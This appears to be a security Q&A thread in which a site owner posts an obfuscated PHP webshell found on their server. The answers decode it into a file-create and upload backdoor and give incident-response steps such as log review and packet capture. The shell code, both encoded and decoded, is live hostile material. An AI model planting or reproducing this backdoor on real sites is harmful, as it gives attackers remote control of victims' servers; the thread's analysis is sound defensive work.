I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder.

Inside this file is the following code:

$language = 'eng';
$auth     = 0;
$name     = ''; // md5 Login
$pass     = ''; // md5 Password

 $lol = $_GET['lol'];
 $osc = $_GET['osc'];

if (isset($lol)) { eval(gzinflate(base64_decode('pZJda8IwFIbvB/sPMQhNQMR9XM05Cvsbg1DTE5vRJiEnnRbxvy9Jre5C8GJ35f143kMoyMYS+rNyn/5l/771H3T9+ABZxAHf6NI1TvSm6oDxJZ0Cc9nVG5pjxm5X9ZDa2QCEXa+TDQeWYnziXa2oqN7IoK0hOaWAH2PXA5INKYroa0XYDDoXhtFOvlZsqgk4aAzICjiALLJbps8cXiRQmj0Dv602jH4ZejFO8aQW4RYQG2hbccWeGeVVHw+6QxkwQHc+zG4FhsoHlkrlaF0gEz+GdhCEtCaAiYicjSKYWsgWKsPuTLoKMTS+vzk6mf+eLTWKWLW9l8DmKiGcdWDGh6ee8r+vRtMvsW90C2xWKrAqVjgnR5L9ZSwrD1Ud1cXT6vmVr8kpHStbi4mep6PiIfTe5FJSfgE='))); die; }
elseif (isset($osc)) { eval(gzinflate(base64_decode('pZHNasMwEITvhb6DYgyWIZS2lF5CwA9SEI48ilUcyWhlmhDy7l3J+ekhkENPEjM73w5SqXfdetMSPj9UB+07yNKTrlfPTyUI28mmAexlyWdSoXsvbhYrZnI6Wu9EnjKoj5wNILEWVcW+NUIusBvjYbaTb428xBT2liLJCnvoKrtNuubhZQLlMjPw21sniy9XXI0TVxoI94DUYxjUDXtmNDd9LvSAcqCI3bmY3yiKbYgyhZrZukIufB7aIirtXYRjRJ5lEa5TekDr5IOVY0sU+zDdXXox/722saQ46qeg+dNNQox+hJsfvghF/ffVioLDP70dIBeNgTccqWtxFNl/4bAJaDtWl2+v7x/1SpxSWT14SvS8mpWAOAWXQ0n5BQ=='))); }
else { eval(gzinflate(base64_decode('pVNdi9swEHw/uP+wEQbFkCZpy0G5xKGhJEdpoAX3nkIwii3XAtsSllwnd+S/V7LsOL409KF+8cfOjGdnV07Ic0VzBR5IVTAhUyITKodO8OO7/3OLmzLeuTNwwpilVCPPRfOOd7pSvqmUTeX+joYJBzzfL+b7YoHHIhFBmZOMDt0xNp/mk/0Cd7iYFxmQUDGeewhBRlXCIw8JLhUCmofqKKiHsjJVTJBCTQz+XUQUQWBUPUQqBCyq75e6ih4UKSixqLZpqY6p5lQsUsnjw6cHcZgllP1K1OOH6VQctMLYabDa7aQVsb104iwXpQJrzWBaL3U+CCR70S/vpwh+k7TUjzmtTMWEga51LDcI9Y+UZltZWe4zpmxrQSnSs9YXC7tlxzqwkpduPk7R4qbv8n98a3OcRP/0/Wxhev5mhLUai89r13Sv1+71/g705SQkj+oVi7mg+dDu4ghwhd2ZhRi6RbUk+xWGcVUwRdvqCNqZuuB5HqyXG3/lwivU3SC9qjbTdt+flk/LjVlTM3U0g1MnTlNJbxP952/+yofBYHDJhjhMuTy7ad2femK4E1tfebDbZ3yc+qHZ6LvQdO1zyMVRI9ZfNyt/i+2x3GKVicDMC+9GzeF1ewnY6bTn+rqRfhRvY+iza+9/J5/+AA=='))); }


How can I determine what this file does and what would indicate that it is suspicious.

  • 6
    if you did not put it there, then it is a rogue file
    – schroeder
    May 7, 2015 at 20:35
  • 1
    you can see the same problems with this file as you did in your other question: security.stackexchange.com/questions/87494/…
    – schroeder
    May 7, 2015 at 20:36
  • 1
    Please do not ask a question for every single file on your server! Instead, you could ask something such as "What to look for in a PHP file on my server to decide whether it is rogue or not?" which would be useful to other people than just you. As @schroeder pointed out, the origin of the file would be an excellent clue of its malignity. May 7, 2015 at 20:46
  • My apologies. I will do next time. May 7, 2015 at 20:47
  • that looks rogue to me
    – ben
    Apr 22, 2016 at 22:06

2 Answers 2


First things first

If you suspect your server has been compromised, you should be implementing an Incident Response plan. There are lots of resources out there for putting a plan together, including a recently released "Criminal Division Guidance on Best Practices for Victim Response and Reporting Cyber Incidents" from the US Justice Department.

Before you start analyzing your possible rogue file, start preserving information

You are going to want a clean copy of data that you can analyze to determine exactly what happened. If possible, this would include memory and hard disk images. If you don't have the ability to do that, at the very least:

  • run basic diagnostic commands like ps aux netstat naolp lsof and ls -alR (all as sudo). You don't have to analyze all of it now, just dump it all into a text file and copy it to another computer.
  • Copy off any directory you think could have been affected as you'll want to look for additional rogue files and modifications.
  • Grab all the log files you can, all of /var/log and apache or nginx logs, and user ~/.bash_history
  • Run a find search for all recently modified files, and copy them all off.

There are lots of resources for how you should respond to such a situation, but I figured I'd just give you what I would collect if I didn't have a IR Plan in place and had to act in the moment. I should also note that beacause of the possability of rootkits, these user-level tools may not give you accurate information, but if you can't grab a hard disk and memory image, it can be a place to start.

Analyzing the PHP File

As mentioned above, the file you posted has significant tells that it is malicious. I would consider the fact that it has a GIF header, but contains PHP code to be the biggest flag. Once you see that, you should start treating your server as compromised. Note: we don't yet know from the existence of the file alone how much access the attacker may have had.

But what does it do?

In order to see what the file does, I replaced every instance of eval with echo and ran the file. Before running the file, you should read the code to make sure you understand what it does. I ran it in a VM just to be sure, but since were just echoing strings, there isn't much to worry about (unless there is some php echo 0-day I'm unaware of). After running the modified code, we get the following output:

$content = stripslashes($_POST['content']); $cfile = $_POST['cfile']; $ufile = $_POST['ufile'];
echo '<b><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">';
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea><br>';
echo '<input type="text" name="cfile" size="10" value="newfile.php">';
echo '<input name="_create" type="submit" id="_upl" value="Create">';
echo '<input type="file" name="file" size="30"><input type="text" name="ufile" size="10" value="newfile.php">';
echo '<input name="_upload" type="submit" id="_upl" value="Upload"></form>';
    $handle = fopen($cfile, 'w');
        if (fwrite($handle, $content) === FALSE) { echo "<b>Create $cfile GAGAL</b><br>"; }
        else { echo "<b>Create $cfile SUKSES !!!</b><br>"; } fclose($handle);
    } else { echo '<b>Create File GAGAL</b><br><br>'; }
    if(@copy($_FILES['file']['tmp_name'], $ufile)) { echo "<b>Upload $ufile SUKSES !!!</b><br><br>"; }
   else { echo "<b>Upload $ufile GAGAL !!!</b><br><br>"; }

Quickly glancing through the code, it looks like this file is used to upload other files. It appears to be common, searching google for "Create File GAGAL" has over 100 results

Some additional tips include:

  • Websites like UnPHP and DDecode can help analyze obfuscated scripts.
  • The Reverse Engineering stack exchange has a question about setting up a secure environment to analyze the script.
  • The best way to start is by grabbing unique strings from the text and searching for them on Google. Often, you will find other researchers have done the work for you.

What to look for next

Because someone added a file that allows them to upload or create files, you want to see if anyone used it. This is when your web server logs will come in handy. Using a tool like grep can easily determine who accessed the file and could provide additional indicators to search for. For example, you can use grep to look for quarantine_wp_protect.php:

$ grep quarantine_wp_protect.php * - - [11/Jan/2015:07:07:43 -0500] "GET /quarantine_wp_protect.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36" - - [11/Jan/2015:07:13:20 -0500] "GET /quarantine_wp_protect.php HTTP/1.1" 200 133 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36"

This would indicate that the IPs and hit that file. You would then want to run grep scans based on that IP to see what else those IPs might have done.

There are some things to keep in mind when looking at your logs. For instance, the User Agent String (the last "" section in the example above), is client supplied and should really be considered arbitrary. Sometimes you will see useragent strings like "Googlebot" or "Yahoo", but these may not actually be google and yahoo. A good way to tell is to lookup who is registered to that IP address. For example you can use WolframAlpha to search Wolfram reports that this IP belongs to OVH SAS in Paris, France. When you search for a legitimate google IP, Wolfram reports "Googlebot".

The log line in the comment below is: - - [07/May/2015:19:41:20 -0700] "GET /wp-content/plugins/_notes/index.php?url=/Nike-Free-Run-Pas-Cher/Chaussure-de-co‌​urse-U-1278-Nike-Free-30-V3-Femmes-Anthracite-1681.html HTTP/1.1" 503 1168 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +ahrefs.com/robot/)

Note that the return code is 503. This suggests that the server didn't process the request (This is not a guarantee, however, as PHP has the ability to set arbitrary return codes). What this likely means, is that after your system was compromised, it was being used to serve redirect spam. Not to get too into the weeds, but many spam systems keep track of the reputation of URLs. So an attacker can't spam people with "my-scam-nike-store.com", because of its low reputation, instead, it will compromise your website, with a good or unknown reputation, send the spam as long as it can, and move on to another victim. Your system would be used to redirect (HTTP status codes in the 300-400 range) users to the scam site.

But how did it get there?

It is most likely that you have a vulnerable wordpress plugin or some other php file being used to upload files. You will want to figure out which file is being used so you can either remove it or fix it. Hopefully, the same IP that accessed quarantine_wp_protect.php is the IP that was responsible for placing the file. If that is the case, then the IP greps mentioned above should show some activity with the vulnerable file. If no other files are shown, you can also try comparing the timestamp of the file to what was happening in the web logs at that time. (Note: as mentioned previously, that timestamp may have been changed by an attacker)

I removed the file, am I done?

No, if you can't determine the root cause, you likely won't be able to fix the problem that let the intruders in in the first place. The best course of action is to fix the vulnerable file and then redeploy (either to a new webserver or wipe the old one and resetup). The reason for this is that there are lots of ways intruders can bury themselves in your application once they have access. They can use cronjobs, startup services, or backdoor your own php files. You can go through the motions of looking for all of these things and hoping you thought of every trick they may have thought of, or you can just redeploy.

If you can't redeploy, one thing you will to do is set up a packet capture. You can use a program like tcpdump to log all HTTP traffic at the network level. This will let you see exactly what requests are coming in and what response is being sent. If the intruder is particularly clever, this could be one of the only ways of verifying that the correct data is being delivered.

nohup sudo -b tcpdump -ni eth0 -s65535 -G 3600 -w 'trace_%Y-%m-%d_%H:%M:%S.pcap' port 80

I would recommend doing this for a day or two atleast. Be careful where you save the recordings though, as it will capture things like your wordpress username and password if you haven't set up HTTPS.

Additionally, there are many steps that may need to be taken depending on your application or business. Was customer data stolen? Did passwords get compromised? Logging can help answer many of these questions. Do database passwords or application secrets need to be changed? In most cases, you'll want to err on the side of caution and just change them.

  • I appreciate your lengthy post. What I'm noticing when I open apache log files from /home/user/logs I see bunch of bots showing these paths to content that do not exist. Even google bots hit these pages. - - [07/May/2015:19:41:20 -0700] "GET /wp-content/plugins/_notes/index.php?url=/Nike-Free-Run-Pas-Cher/Chaussure-de-course-U-1278-Nike-Free-30-V3-Femmes-Anthracite-1681.html HTTP/1.1" 503 1168 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +ahrefs.com/robot)" ---- does this mean that something fishy is still going on?
    – ben
    May 8, 2015 at 4:53
  • Wordfence shows the same things in live traffic report except that it shows those bots are hitting non-existent pages. So I assume that these bots are being directed to my site from some back-links or from other compromised sites. Mountain View, United States tried to access non-existent page website.org/kudos-to-ann-nichols/nanxie-brand-copy-3.htm 2 minutes ago IP: [block] Hostname: crawl-66-249-65-160.googlebot.com
    – ben
    May 8, 2015 at 5:10
  • I made some changes to discuss the log items you reference. Be sure to check for rouge .htaccess files just in case. These can be used to make cleaning up really difficult since it can affect url routing.
    – amccormack
    May 8, 2015 at 5:24
  • Also added a note about tcpdump. It'll give you great visibility if something is still going on.
    – amccormack
    May 8, 2015 at 5:37

Definitely a rogue file, most likely a shell.

Key indicators:

  • $name = ''; // md5 Login
  • $pass = ''; // md5 Password
  • $lol = $_GET['lol'];
  • $osc = $_GET['osc'];
  • base64
  • filename

$name and $pass are used to protect access to shell

$lol and $osc are variables that pass GET data (most likely) through something like passthru()

base64 is used to encode, in this case we'll say hide, the malicious code

Googling the filename "quarantine_wp_protect.php" yields no results other than this page, so it's probably not from something like a Wordpress plugin. The attacker just used this name because someone could overlook the filename if they do not know what they are doing.

  • This file is probably the mother-ship of all other rogue scripts that were peppered on my site. I would delete them, but they would reappear again. Hopefully this takes care of the problem for good. If not, then I'm screwed. May 7, 2015 at 21:52
  • 1
    The "key indicator" is that the file has a GIF89 header, but contains PHP code. There's no legitimate reason for a file to do that.
    – Mark
    May 7, 2015 at 22:58
  • 1
    @BenBibikov I would suggest wiping your server. May 7, 2015 at 23:28
  • nuking the site is going to be very hard at this point.
    – ben
    May 8, 2015 at 4:52
  • @ben It would be a very bad idea to run the site when knowing that this stuff exists or existed. Additionally, there is a possible chance that they obtained root access on your server. May 8, 2015 at 14:21

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .